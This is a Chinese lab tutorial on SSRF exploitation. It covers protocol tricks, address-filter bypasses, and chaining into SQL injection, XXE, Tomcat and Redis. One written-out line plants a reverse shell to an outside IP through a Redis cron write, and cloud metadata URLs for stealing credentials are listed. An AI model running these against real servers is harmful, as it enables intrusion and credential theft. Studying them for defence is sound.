SSRF漏洞原理和进阶利用
SSRF漏洞原理和进阶利用
这里用了两个靶场,推荐最完善的靶场
https://github.com/Duoduo-chino/ssrf-vul-for-new

漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档等等。SSRF漏洞通过篡改获取资源的请求发送给服务器(服务器并没有检测这个请求是否合法的),然后服务器以他的身份来访问服务器的其他资源。SSRF利用存在缺陷的Web应用作为代理攻击远程和本地的服务器。
PHP中下面函数的使用不当会导致SSRF:
file_get_contents()
fsockopen()
curl_exec()
从漏洞挖掘的角度而言,见到有请求外部连接的参数,例如url=,直接替换内网ip
还有一些例如转发,下载等等收藏处,导入功能点,都会可能存在ssrf

SSRF之信息收集
前置知识
伪协议
file:// 从文件系统中读取文件
dict://字典服务协议,访问字典资源,如dict:///ip:6739/info;
ftp://可用于网络端口扫描
ldap://轻量级目录访问协议
tftp://简单文件传输协议
gopher:// 分布式文档传递服务
扫描内网服务器
查看主机账户密码
file:///etc/passwd

查看当前操作系统的网卡的ip
file:///etc/hosts

容器 IP 172.17.0.6 属于 172.17.0.0/16 网段,这是 Docker 宿主机的桥接网络段,这样就可以去扫描其他内网服务
显示arp缓存表(寻找内网其他主机)
file:///proc/net/arp

然后我们可以爆破这个网段的服务,再通过arp表查看存活主机

爆破之后查看arp表,就能查看到存活的服务

dict伪协议探测端口
在 SSRF 中 DICT 协议常用于探测内网端口开放情况,”dict://ip:prot”当遇到开放端口时,响应速度会明显变快,有的端口还会带 TCP 回显
一、DICT伪协议端口探测的核心原理
利用 SSRF 触发服务端建立 TCP 连接,而不验证协议是否正确,从而判断端口是否开放或服务类型。
流程:
SSRF 接受 URL 输入,例如:
1
dict://127.0.0.1:6379/底层解析 URL → 尝试建立 TCP socket 连接
目标端口返回任何数据(哪怕报错)→都意味着端口开放
根据返回行为产生差异 → 用于端口扫描、服务识别
关键点在于:
因此 DICT SSRF 本质上属于 协议欺骗(Protocol Smuggling)。
✅ 二、差异体现在哪里?(判断端口状态)
DICT SSRF 的结果本质是连接行为差异 + 返回内容差异
1)连接行为差异 — 端口探测最直接:
| 行为 | 说明 |
|---|---|
| TCP 连接成功 | 端口开放 |
connection refused |
端口关闭 |
| 超时 | 被防火墙 DROP/过滤 |
这类差异明确直接 → 能判断端口状态。
2)返回内容差异 — 服务识别
即便不是 DICT 协议,对方服务会返回 banner/握手包:
| 端口 | 特征 |
|---|---|
| Redis 6379 | -ERR |
| MySQL 3306 | 二进制握手包(乱码) |
| HTTP 80 | HTTP/1.1 开头 |
| SMTP 25 | 220 开头 |
| SSH 22 | SSH-2.0 |
说明:
DICT 的请求内容无意义
但由于 TCP 连接建立 → 对方服务会按自身协议回复
➡️ 这就构成 协议指纹。
3)延迟差异 — 网络策略判断
| 状态 | 表现 |
|---|---|
| 开放(有响应) | 很快 |
| 拒绝(RST) | 很快 |
| 防火墙 DROP | 非常慢(等待超时) |
➡️ 用来判断 WAF/ACL/容器隔离策略。
🔥 概括一句话
DICT SSRF = TCP 端口探测 + 服务指纹识别 + 网络策略检测
挂到bp里面进行爆破

通过响应长度能判断端口是否开放

Http伪协议探测目录
这一步其实和前面的思路差不多,将url放到bp对其进行页面爆破,通过响应长度即可判断存在页面

成功扫描出路径

gopher伪协议攻击
基本格式
1 | |
注意:
gopher伪协议构造GET攻击

1、在页面端提交,因为从请求从跳板机发送到内网受害主机,需要在内网受害主机进行一次URL解码,那么我们就需要先将playload进行一次url编码
playload:
1 | |
注意最后要保留个换行
进行一次url编码后得到
1 | |
完整在网页端提交的请求就是
1 | |
2、在bp端,由于BP 是「手动构造 HTTP 请求」的工具,不会像浏览器那样自动帮你补全编码 —— 你写的 payload 会原封不动发送给后端,所以需要手动完成「双重 URL 编码」,才能让后端解码后得到正确的 gopher URL。
所以我们要先抓到包

补全请求,如何进行两次url编码


如此一来便能成功执行攻击
gopher伪协议构造POST攻击
和上面步骤类似,但是不需要再加换行符,给改为POST的攻击代码即可
1 | |

SSRF之环回地址绕过
在一些情况下,请求的目的IP会被后端限制,比如不允许访问127.0.0.1
这时候我们进行进制转换就能绕过
| 原始 IP(127.0.0.1) | 变形格式(可直接使用) | 说明 |
|---|---|---|
| 十进制点分格式 | 127.0.0.2、127.0.1.1 |
127.0.0.0/8 网段全是本地回环地址,仅过滤 127.0.0.1 时可用 |
| 十进制整数格式 | 2130706433 |
IP 转整数(127256³+0256²+0*256+1) |
| 八进制格式 | 0177.0.0.1、017700000001 |
前缀加 0 表示八进制,后端解析仍为 127.0.0.1 |
| 十六进制格式 | 0x7F.0.0.1、0x7F000001 |
部分后端(如 curl)支持十六进制 IP 解析 |
| 省略点分格式 | 127.1(等价 127.0.0.1)、127.0.1 |
后端自动补全前导 0,适用于简单过滤逻辑 |

SSRF重定向绕过
- 前端攻击者:构造
url=http://公网服务器A/redirect(公网地址,后端校验合法); - 公网服务器 A:收到请求后返回 302 响应,响应头
Location: gopher://127.0.0.1:80/_GET...(目标是私网 / 危险地址); - 后端服务器:执行
curl($url)时,默认会自动跟随 302 跳转,最终访问Location中的私网 / 危险地址,完成绕过。

我们在vps上起一个php服务


然后在令ssrf服务访问我们的vps服务即可

SSRF之DNS重绑定绕过
利用 DNS 解析的动态性和后端校验的时间差 —— 攻击者控制一个域名的 DNS 解析规则,让后端在校验阶段解析该域名得到合法公网 IP(通过私网 IP 过滤),而在实际请求阶段,因 DNS 缓存失效或服务器动态返回结果,该域名又解析为靶场的私网 / 本地 IP,后端未对这一二次解析结果做校验,最终让原本被限制的私网地址访问请求成功执行,以此绕过后端基于 IP 或域名的严格过滤规则
原理如图

对此我们只需要利用一个网站配置DNS重绑定

对此即可成功执行攻击

SSRF之白名单绕过
如果场景要求url必须要有某些参数,则可以利用 @ 符号
URL 中 @ 符号的作用是分隔 “用户认证信息” 和 “实际访问地址”,后端若仅校验字符串包含 http://notfound.ctfhub.com,而未解析 URL 结构,就会被绕过:
- 构造 payload:
http://notfound.ctfhub.com@127.0.0.1:80 - 原理:字符串中完整包含
http://notfound.ctfhub.com,满足格式要求;但curl等工具会忽略@前的内容,实际访问127.0.0.1:80(本地私网地址)。 - 进阶:若需指定路径,可继续拼接:
http://notfound.ctfhub.com@127.0.0.1:80/shell.php
ssrf进行sql注入攻击并且getshell
注意:需要进行url编码不然无法被解析
1、判断闭合方式
1 | |
2、爆列数
1 | |
3、爆库名
1 | |
4、爆表名
1 | |
5、爆字段名
1 | |
6、读取flag
1 | |
7、拿shell
1 | |

SSRF打XXE漏洞
查看页面源代码明显是一个XXE漏洞

构造playload
1 | |
放到bp对playload进行二次编码

最后发包即可利用
ssrf利用tomcat任意文件写入
编写playload
1 | |
利用gopher伪协议向内网发送PUT请求

观察到201则成功完成文件上传
随后对上传的木马进行利用

Redis 未授权RCE
Redis 是内存数据库,但允许把内存内容持久化到磁盘。如果没有认证 → 任何人都能远程执行 “写系统文件”。
系统没有web服务,也没有SSH公钥私钥认证,那就用定时任务实现远程代码执行
| 步骤 | dict:// 协议命令 | 动作说明(从原理角度) |
|---|---|---|
| 1 | dict://172.72.23.27:6379/FLUSHALL |
清空 Redis 内存数据,避免已有键值影响持久化过程 |
| 2 | dict://172.72.23.27:6379/SET x "\n* * * * * /bin/bash -i >& /dev/tcp/47.96.99.165/2333 0>&1\n" |
写入带首尾换行的文本内容,使其在落盘时能被系统按行解析 |
| 3 | dict://172.72.23.27:6379/CONFIG SET dir /var/spool/cron/ |
修改 Redis 持久化目录,将持久化文件保存到 Linux 定时任务目录 |
| 4 | dict://172.72.23.27:6379/CONFIG SET dbfilename root |
设置持久化文件名为 root,对应 cron 用户任务文件路径 /var/spool/cron/root |
| 5 | dict://172.72.23.27:6379/SAVE |
触发 RDB 持久化,Redis 将内存写入上述路径文件,文件内容由系统解析 |

最后成功反弹到监听的的端口

redis未授权webshell写入(无法使用dict场景)
对于172..150.23.28发现需要密码认证

发现其80端口存在web服务,是文件包含漏洞

读取/etc/redis.conf,读取到密码P@ssw0rd

验证一下发现验证通过

但是没啥用,dict不支持多行命令,无法跟前面那样执行命令,只能打gopher伪协议带redis数据包
这里有两种方法一种是
直接用脚本构造
脚本如下
1 | |
执行后得到
1 | |
发包利用成功

实现任意命令执行

还有一种是手动构造数据包
在本地模拟内网redis环境,首先在一端开启redis服务,并将6379转发到
5301端口
1 | |

在同时另一端登录5201,并执行操作
1 | |

最后整理出redis数据包
1 | |
注意Redis 的协议是以 CRLF (rn) 结尾,所以转换的时候需要把 \r 转换为 \r\n

随后进行两次url编码,发包

gopher打未授权Mysql
这里同样是两种方法一种是直接用工具构造playloadhttps://github.com/tarunkant/Gopherus
运行命令
1 | |
随后输入mysql用户和要执行的sql语句

最后发送gopher伪协议即可


第二种方法是手动构造mysql数据包
首先监听3306端口
1 | |
随后在本地执行mysql命令
1 | |
Wireshark 打开 mysql.pcapng 数据包,追踪 TCP 流 然后过滤出发给 3306 的数据然后过滤出客户端发送到MySQL服务器的数据包,将显示格式调整为原始数据即可:

然后使用如下的 Python3 脚本将数据转化为 url 编码:
1 | |
放入到 BP 中请求的话记得需要二次 URL 编码,成功查询到flag

总结
SSRF 漏洞的成因:
直接使用用户输入的 URL 作为请求目标;
不适当的协议和端口控制;
内部网络或敏感资源未加隔离或防护;
不正确的权限和访问控制。
潜在绕过手法(供防御方识别风险) 安全修复方法(推荐) IP 进制转换(如 127.0.0.1 → 2130706433) 将 IP 统一解析为标准 IPv4/IPv6 后再判断是否属于内网段 域名混淆(如 example.com → example.com. → 实际解析到内网) 解析域名 → 获取真实 IP → 按解析结果校验内网范围 重定向绕过(如合法域名跳转到 内网 IP) 禁用自动重定向( followRedirects = false)或对重定向后的 URL 重新校验协议混淆(如 dict:// → DICT:// → dict%3A//) 对 URL 进行 标准化(lowercase + decode) 再检查协议,仅允许 http/https 端口绕过(如 6379 → 06379 → 6379/) 标准化端口号,并限制仅允许 80/443 等安全端口范围
SSRF 漏洞的修复方法:
- 输入验证与白名单:只允许特定格式和协议的 URL,禁止内网访问;
- 服务端访问控制:严格的权限校验,尤其是针对内网和敏感资源;
- 代理与白名单:通过代理服务器转发请求,并对目标进行访问控制;
- 防止 DNS Rebinding:对 IP 地址与域名进行比对;
- 日志与监控:记录外部请求,并及时分析检测异常行为。
通过这些修复措施,可以有效地减轻 SSRF 漏洞的风险,保护应用程序免受此类攻击。
拓展-云上SSRF
其实云上ssrf和普通ssrf原理相似但是云上ssrf危害更大,攻击面更广。
在云服务ssrf利用中:
1、攻击元数据服务:云环境中,云数据即表示实例,可以用来查看、配置甚至管理正在运行中的实例。
2、攻击存储桶:攻击者通过访问元数据中存储的临时秘钥或者用于自启动实例的启动脚本,这些脚本可能会包含AK、密码、源码等等,然后根据从元数据服务获取的信息,攻击者可尝试获取到受害者账户下COS、CVM、集群等服务的权限。
3、攻击Kubelet API:在云环境中,可通过Kubelet API查询集群pod和node的信息,也可通过其执行命令。(Kubernetes API 用于与集群及其各种资源进行交互。有不同的资源类型和资源实例,以API对象的形式存在。是集群的一部分,API 会指导它们在必要时执行特定操作。)
4、越权攻击云平台内其他组件或服务:由于云上各组件相互信任,当云平台内某个组件或服务存在SSRF漏洞时,就可通过此漏洞越权攻击其他组件或者服务。
其实最常见的攻击手法就是攻击元数据服务
在腾讯云中可以利用ssrf读取如下数据:
1、获取实例物理所在地信息。
http://metadata.tencentyun.com/latest/meta-data/placement/region

2、获取实例内⽹ IP。实例存在多张⽹卡时,返回 eth0 设备的⽹络地址。
http://metadata.tencentyun.com/latest/meta-data/local-ipv4

3、获取实例公⽹ IP
http://metadata.tencentyun.com/latest/meta-data/public-ipv4

4、获取实例网络接口 VPC 网络 ID。
http://metadata.tencentyun.com/network/interfaces/macs/${mac}/vpc-id

5、在获取到⻆⾊名称后,可以通过以下链接取⻆⾊的临时凭证,${role-name} 为 CAM 角⾊的名称:
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials${rolename}
